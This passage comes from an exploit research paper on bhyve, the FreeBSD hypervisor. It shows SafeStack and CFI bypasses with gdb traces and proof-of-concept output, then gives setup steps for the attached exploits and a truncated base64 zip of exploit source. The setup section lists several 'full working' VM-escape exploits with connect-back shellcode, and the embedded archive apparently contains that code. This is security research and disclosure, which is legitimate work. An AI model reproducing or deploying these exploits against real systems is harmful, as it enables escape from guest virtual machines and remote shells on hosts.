
Let's consider the case of 'mevent_tid' pthread structure. The 'pthread' and 'pthread_attr' structures are defined in libthr/thread/thr_private.h. The useful elements for leaking stack address include 'unwind_stackend', 'stackaddr_attr' and 'stacksize_attr'. Below is the output of the analysis from gdb and procstat:

```
(gdb) print ((struct pthread *)mevent_tid)->unwind_stackend
$3 = (void *) 0x6dacc2a16000
(gdb) print ((struct pthread *)mevent_tid)->attr.stackaddr_attr
$4 = (void *) 0x6dac82a16000
(gdb) print ((struct pthread *)mevent_tid)->attr.stacksize_attr
$5 = 1073741824
(gdb) print ((struct pthread *)mevent_tid)->attr.stackaddr_attr + ((struct
pthread *)mevent_tid)->attr.stacksize_attr
$6 = (void *) 0x6dacc2a16000
```

```
root@renorobert:~ # procstat -v `pidof bhyve`
. . .
62427     0x6dac82a15000     0x6dac82a16000 ---    0    0   0   0 ---- --
62427     0x6dac82a16000     0x6dacc29f6000 ---    0    0   0   0 ---- --
62427     0x6dacc29f6000     0x6dacc2a16000 rw-    3    3   1   0 ---D df
```

Once the safe stack location of 'mevent' thread is leaked, arbitrary write can be used to overwrite the return address of any function call. It is also possible to calculate the safe stack address of other threads since they are relative to address of 'mevent' thread's safe stack.

Next, we should find a target function call to overwrite the return address. The event dispatcher function mevent_dispatch() (section 3.2) goes into an infinite loop, waiting for events using a blocking call to kevent():

```
void
mevent_dispatch(void)
{
        . . .
        for (;;) {
                . . .
                ret = kevent(mfd, NULL, 0, eventlist, MEVENT_MAX, NULL);
                . . .
                mevent_handle(eventlist, ret);
        }
}
```

Overwriting the return address of the blocking call to kevent() gives RIP control as soon as an event is triggered in bhyve. Below is the output of the proof-of-concept code demonstrating RIP control:

```
root@guest:~/setupC/cfi_safestack_bypass # ./exploit
exploit: [+] Triggering info leak using FreeBSD-SA-16:32.bhyve...
exploit: [+] mevent located @ offset = 0x1df58
exploit: [+] Leaked power_handler address = 0x262fbc43ae0
exploit: [+] Bhyve base address = 0x262fbbdf000
exploit: [+] Changing state to IDENT_SEND
exploit: [+] Reading signature...
exploit: [+] Received signature : BHYV
exploit: [+] Set req_size value to 0xFFFFFFFF
exploit: [+] Setting up fake structures...
exploit: [+] Sending data to overwrite IO handlers...
exploit: [+] Leaking safe stack address by reading pthread struct...
exploit: [+] Leaked safe stack address = 0x6dacc2a16000
exploit: [+] Located mevent_dispatch RIP...

root@renorobert:~ # gdb -q -p `pidof bhyve`
Attaching to process 62427
Reading symbols from /usr/sbin/bhyve...Reading symbols from
/usr/lib/debug//usr/sbin/bhyve.debug...done.
done.
. . .
[Switching to LWP 100082 of process 62427]
_kevent () at _kevent.S:3
3   _kevent.S: No such file or directory.
(gdb) c
Continuing.

Thread 1 "mevent" received signal SIGBUS, Bus error.
0x000002e5ed0984f8 in __thr_kevent (kq=<optimized out>,
changelist=<optimized out>, nchanges=<optimized out>, eventlist=<optimized
out>, nevents=<optimized out>,
    timeout=0x6dacc2a15700) at
/usr/src/lib/libthr/thread/thr_syscalls.c:403
403 }
(gdb) x/i $rip
=> 0x2e5ed0984f8 <__thr_kevent+120>:    retq
```

```
(gdb) x/gx $rsp
0x6dacc2a156d8: 0xdeadbeef00000000
```

----[9.2 - Registering arbitrary signal handler using ACPI shutdown

For the next bypass, let's revisit the smi_cmd_handler() detailed in section 3.2. Writing the value 0xa1 (BHYVE_ACPI_DISABLE) to SMI command port not only removes the event handler for SIGTERM, but also registers a signal handler.

```
static sig_t old_power_handler;
. . .
static int
smi_cmd_handler(struct vmctx *ctx, int vcpu, int in, int port, int bytes,
    uint32_t *eax, void *arg)
{
        . . .
        case BHYVE_ACPI_DISABLE:
                . . .
                if (power_button != NULL) {
                        mevent_delete(power_button);
                        power_button = NULL;
                        signal(SIGTERM, old_power_handler);
        . . .
}
```

'old_power_handler' can be overwritten using the arbitrary write provided by fwctl bug. The call to signal() thus uses the overwritten value, allowing the guest to register an arbitrary address as a signal handler for SIGTERM signal. The plan is to invoke the arbitrary address through the signal trampoline which does not perform CFI validations. The signal trampoline code invokes the signal handler and then invokes sigreturn system call to restore the thread's state:

```
   0x7fe555aba000:  callq  *(%rsp)
   0x7fe555aba003:  lea    0x10(%rsp),%rdi
   0x7fe555aba008:  pushq  $0x0
   0x7fe555aba00a:  mov    $0x1a1,%rax
   0x7fe555aba011:  syscall
```

However, call to signal() does not directly invoke the sigaction system call. The libthr library on load installs interposing handlers [20] for many functions in libc, including sigaction().

```
int
sigaction(int sig, const struct sigaction *act, struct sigaction *oact)
{
        return (((int (*)(int, const struct sigaction *, struct sigaction
*))
            __libc_interposing[INTERPOS_sigaction])(sig, act, oact));
}
```

The libthr signal handling code is implemented in libthr/thread/thr_sig.c. The interposing function __thr_sigaction() stores application registered signal handling information in an array '_thr_sigact[_SIG_MAXSIG]'. libthr also registers a single signal handler thr_sighandler(), which dispatches to application registered signal handlers using the information stored in '_thr_sigact'. When a signal is received, thr_sighandler() calls handle_signal() to invoke the respective signal handler through an indirect call.

```
static void
handle_signal(struct sigaction *actp, int sig, siginfo_t *info, ucontext_t
*ucp)
{
        . . .
        sigfunc = actp->sa_sigaction;
        . . .
        if ((actp->sa_flags & SA_SIGINFO) != 0) {
```

```
                sigfunc(sig, info, ucp);
        } else {
                ((ohandler)sigfunc)(sig, info->si_code,
                    (struct sigcontext *)ucp, info->si_addr,
                    (__sighandler_t *)sigfunc);
        }
        . . .
}
```

If libthr.so is compiled with CFI, these indirect calls will also be protected. In order to redirect execution to the signal trampoline, guest should overwrite the __libc_interposing[INTERPOS_sigaction] entry with address of _sigaction() system call instead of __thr_sigaction(). Since _sigaction() and __thr_sigaction() are of the same function type, they should be valid targets under CFI.

After the guest registers a fake signal handler, it should wait until the host triggers an ACPI shutdown using SIGTERM. Below is the output of proof-of-concept for RIP control using signal handler:

```
root@guest:~/setupC/cfi_signal_bypass # ./exploit
exploit: [+] Triggering info leak using FreeBSD-SA-16:32.bhyve...
exploit: [+] mevent located @ offset = 0xbff58
exploit: [+] Leaked power_handler address = 0x2aa1604cae0
exploit: [+] Bhyve base address = 0x2aa15fe8000
exploit: [+] Changing state to IDENT_SEND
exploit: [+] Reading signature...
exploit: [+] Received signature : BHYV
exploit: [+] Set req_size value to 0xFFFFFFFF
exploit: [+] Setting up fake structures...
exploit: [+] Sending data to overwrite IO handlers...
exploit: [+] libc base address = 0x6892a57a000
exploit: [+] Overwriting libc interposing table entry for sigaction...
exploit: [+] Overwriting old_power_handler...
exploit: [+] Disabling ACPI shutdown to register fake signal handler
root@guest:~/cfi_bypass/cfi_signal_bypass #

root@host:~ # vm stop freebsdvm
Sending ACPI shutdown to freebsdvm

root@host:~ # gdb -q -p `pidof bhyve`
Attaching to process 44443
Reading symbols from /usr/sbin/bhyve...Reading symbols from
/usr/lib/debug//usr/sbin/bhyve.debug...done.
done.
 . . .
_kevent () at _kevent.S:3
3   _kevent.S: No such file or directory.
(gdb) c
Continuing.

Thread 1 "mevent" received signal SIGTERM, Terminated.
_kevent () at _kevent.S:3
3   in _kevent.S
(gdb) c
Continuing.

Thread 1 "mevent" received signal SIGBUS, Bus error.
0x00007fe555aba000 in '' ()
(gdb) x/i $rip
=> 0x7fe555aba000:  callq  *(%rsp)
(gdb) x/gx $rsp
0x751bcf604b70: 0xdeadbeef00000000
```

The information disclosure using FreeBSD-SA-16:32.bhyve crashes at times in HardenedBSD 12-Current. Though this can be improved, I left it as such since the bug was re-introduced for experimental purposes by reverting the patch.

--[10 - Conclusion

The paper details various techniques to gain RIP control as well as achieve arbitrary read/write by abusing bhyve's internal data structures. I believe the methodology described here is generic and could be applicable in the exploitation of similar bugs in bhyve or even in the analysis of other hypervisors.

Many thanks to Ilja van Sprundel for finding and disclosing the VGA bug detailed in the first part of the paper. Thanks to argp, huku and vats for their excellent research on the jemalloc allocator exploitation. I would also like to thank Mehdi Talbi and Paul Fariello for their QEMU case study paper, which motivated me to write one for bhyve. Finally a big thanks to Phrack Staff for their review and feedback, which helped me improve the article.

--[11 - References

[1] FreeBSD-SA-16:32.bhyve - privilege escalation vulnerability
https://www.freebsd.org/security/advisories/FreeBSD-SA-16:32.bhyve.asc
[2] Setting the VGA Palette
https://bos.asmhackers.net/docs/vga_without_bios/docs/palettesetting.pdf
[3] Hardware Level VGA and SVGA Video Programming Information Page
http://www.osdever.net/FreeVGA/vga/colorreg.htm
[4] Pseudomonarchia jemallocum
http://phrack.org/issues/68/10.html
[5] Exploiting VLC, a case study on jemalloc heap overflows
http://phrack.org/issues/68/13.html
[6] The Shadow over Android
https://census-labs.com/media/shadow-infiltrate-2017.pdf
[7] Kqueue: A generic and scalable event notification facility
https://people.freebsd.org/~jlemon/papers/kqueue.pdf
[8] VM escape - QEMU Case Study
http://www.phrack.org/papers/vm-escape-qemu-case-study.html
[9] Capsicum: practical capabilities for UNIX
https://www.usenix.org/legacy/event/sec10/tech/full_papers/Watson.pdf
[10] Capsicumise bhyve
https://reviews.freebsd.org/D8290
[11] Capsicum support for bhyve
https://reviews.freebsd.org/rS313727
[12] bhyve PCI Passthrough
https://wiki.freebsd.org/bhyve/pci_passthru
[13] Put kernel physaddr at explicit 2MB rather than inconsistent
MAXPAGESIZE
https://reviews.freebsd.org/D8610
[14] VM_MAP_FIND - FreeBSD Kernel Developer's Manual
https://www.freebsd.org/cgi/man.cgi'query=vm_map_find&sektion=9
[15] Nested Paging in bhyve
https://people.freebsd.org/~neel/bhyve/bhyve_nested_paging.pdf
[16] Introducing CFI
https://hardenedbsd.org/article/shawn-webb/2017-03-02/introducing-cfi
[17] Control Flow Integrity Design Documentation
https://clang.llvm.org/docs/ControlFlowIntegrityDesign.html
[18] SafeStack
https://clang.llvm.org/docs/SafeStack.html
[19] Bypassing clang's SafeStack for Fun and Profit
https://www.blackhat.com/docs/eu-16/materials/eu-16-Goktas-Bypassing-Clangs-SafeStack.pdf
[20] libthr - POSIX threads library
https://www.freebsd.org/cgi/man.cgi'query=libthr&sektion=3&manpath=freebsd-release-ports
[21] FreeBSD-SA-18:14.bhyve - Insufficient bounds checking in bhyve device
model
https://www.freebsd.org/security/advisories/FreeBSD-SA-18:14.bhyve.asc
[22] FreeBSD-SA-18:14.bhyve - Always treat firmware request and response
sizes as unsigned
https://github.com/freebsd/freebsd/commit/33c6dca1c4dc75a1d7017b70f388de88636a7e63

--[12 - Source code and environment details

The experiment was set up on 3 different host operating systems, all running inside VMware Fusion with nested virtualization enabled. vm-bhyve [S1] was used to set up and manage the virtual machines

A. FreeBSD 11.0-RELEASE-p1 #0 r306420 running Ubuntu server 14.04.5 LTS as guest
B. FreeBSD 11.2-RELEASE #0 r335510 running FreeBSD 11.2-RELEASE #0 r335510 as guest
C. FreeBSD 12.0-CURRENT #0 [DEVEL:HardenedBSD-CURRENT-hbsdcontrol-amd64:53] running FreeBSD 11.1-RELEASE #0 r321309

Setup (A): Set graphics="yes" in the VM configuration used by vm-bhyve to enable framebuffer device required by VGA. vm-bhyve enables frame buffer device only when UEFI is also enabled. This check can be commented out in 'vm-run' bash script [S2].

```
# add frame buffer output
#
vm::bhyve_device_fbuf(){
    local _graphics _port _listen _res _wait _pass
    local _fbuf_conf

    # only works in uefi mode
    #[ -z "${_uefi}" ] && return 0
    . . .
}
```

All the analysis detailed in section 2, 3, 4 and 5 uses this setup (A). The following exploits provided in the attached code can be tested in this environment:

- readmemory - proof of concept code to disclose bhyve heap using VGA bug (section 3.1)
- vga_fakearena_exploit - full working exploit with connect back shellcode using fake arena technique (section 3)
- vga_ioport_exploit - full working exploit with connect back shellcode using corrupted inout_handlers structure (section 4.1 - 4.4)
- vga_pci_exploit - proof of concept code to demonstrate RIP control using PCI BAR decoding technique (section 4.5). It requires libpciaccess, which can be installed using 'apt-get install libpciaccess-dev'

Setup (B): Apply the bhyverun.patch in the attached code to bhyve and rebuild from source. This enables fwctl device by default without specifying a bootrom

```
# cd /usr/src
# patch < bhyverun.patch
# cd /usr/src/usr.sbin/bhyve
# make
# make install
```

Enable IOMMU if the host is running as a VM. Follow the instructions in [S3] up to step 4 to make sure a device available for any VM running on this host. I used the below USB device for passthrough:

```
root@host:~ # pciconf -v -l
. . .
ppt0@pci0:2:3:0:    class=0x0c0320 card=0x077015ad chip=0x077015ad
rev=0x00 hdr=0x00
    vendor     = 'VMware'
    device     = 'USB2 EHCI Controller'
    class      = serial bus
    subclass   = USB
```

After the reboot, verify if the device is ready for passthrough:

```
root@host:~ # vm passthru

DEVICE     BHYVE ID     READY        DESCRIPTION
hostb0     0/0/0        No           440BX/ZX/DX - 82443BX/ZX/DX Host
```

```
bridge
pcib1       0/1/0        No           440BX/ZX/DX - 82443BX/ZX/DX AGP bridge
isab0       0/7/0        No           82371AB/EB/MB PIIX4 ISA
. . .
em0         2/1/0        No           82545EM Gigabit Ethernet Controller
(Copper)
pcm0        2/2/0        No           ES1371/ES1373 / Creative Labs CT2518
ppt0        2/3/0        Yes          USB2 EHCI Controller
```

The 'USB2 EHCI Controller' is marked ready. After this, set 'passthru0' parameter as '2/3/0' in the VM configuration used by vm-bhyve [S4] to expose the device to a VM.

All the analysis detailed in section 6, 7 and 8 uses this setup (B). The following exploits provided in the attached code can be tested in this environment:

- fwctl_sandbox_devmem_exploit - full working exploit with connect back shellcode using /dev/mem sandbox escape. Requires 'passthru0' parameter to be configured
- fwctl_sandbox_map_exploit - full working exploit with connect back shellcode using VM_MAP_PPTDEV_MMIO IOCTL command. Requires 'passthru0' parameter to be configured
- fwctl_sandbox_bind_exploit - full working exploit with connect back shellcode using VM_MAP_PPTDEV_MMIO and VM_BIND_PPTDEV IOCTL command. Configure only a host device for passthrough. Do not set the 'passthru0' parameter. If 'passthru0' is set, a kernel panic detailed in section 8 will be triggered when running the exploit.

Setup (C): This setup uses HardenedBSD-CURRENT-hbsdcontrol-amd64-s201709141755-disc1.iso downloaded from [S5]. Use the information provided in [S6] to setup ports if necessary. Apply the bhyverun.patch in the attached code and revert the VGA patch [S7] from bhyve.

```
# cd /usr/src
# patch < bhyverun.patch
# fetch https://security.FreeBSD.org/patches/SA-16:32/bhyve.patch
# patch -R < bhyve.patch
# cd /usr/src/usr.sbin/bhyve
# make
# make install
```

All the analysis detailed in section 9 uses this setup (C). The following proof of concepts provided in the attached code can be tested in this environment:

- cfi_safestack_bypass - proof of concept code to demonstrate RIP control bypassing SafeStack
- cfi_signal_bypass - proof of concept code to demonstrate RIP control using signal trampoline

Addresses of ROP gadgets might need readjustment in any of the above code.

[S1] vm-bhyve - Management system for FreeBSD bhyve virtual machines
https://github.com/churchers/vm-bhyve
[S2] vm-run
https://github.com/churchers/vm-bhyve/blob/master/lib/vm-run
[S3] bhyve PCI Passthrough
https://wiki.freebsd.org/bhyve/pci_passthru
[S4] passthru0
https://github.com/churchers/vm-bhyve/blob/master/sample-templates/config.sample
[S5] HardenedBSD-CURRENT-hbsdcontrol-amd64-LATEST/ISO-IMAGES

https://jenkins.hardenedbsd.org/builds/HardenedBSD-CURRENT-hbsdcontrol-amd64-LATEST/ISO-IMAGES/
[S6] How to use Ports under HardenedBSD
https://groups.google.com/a/hardenedbsd.org/d/msg/users/gRGS6n_446M/KoHGgrB1BgAJ
[S7] FreeBSD-SA-16:32.bhyve - privilege escalation vulnerability

https://www.freebsd.org/security/advisories/FreeBSD-SA-16:32.bhyve.asc

>>>base64-begin code.zip
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
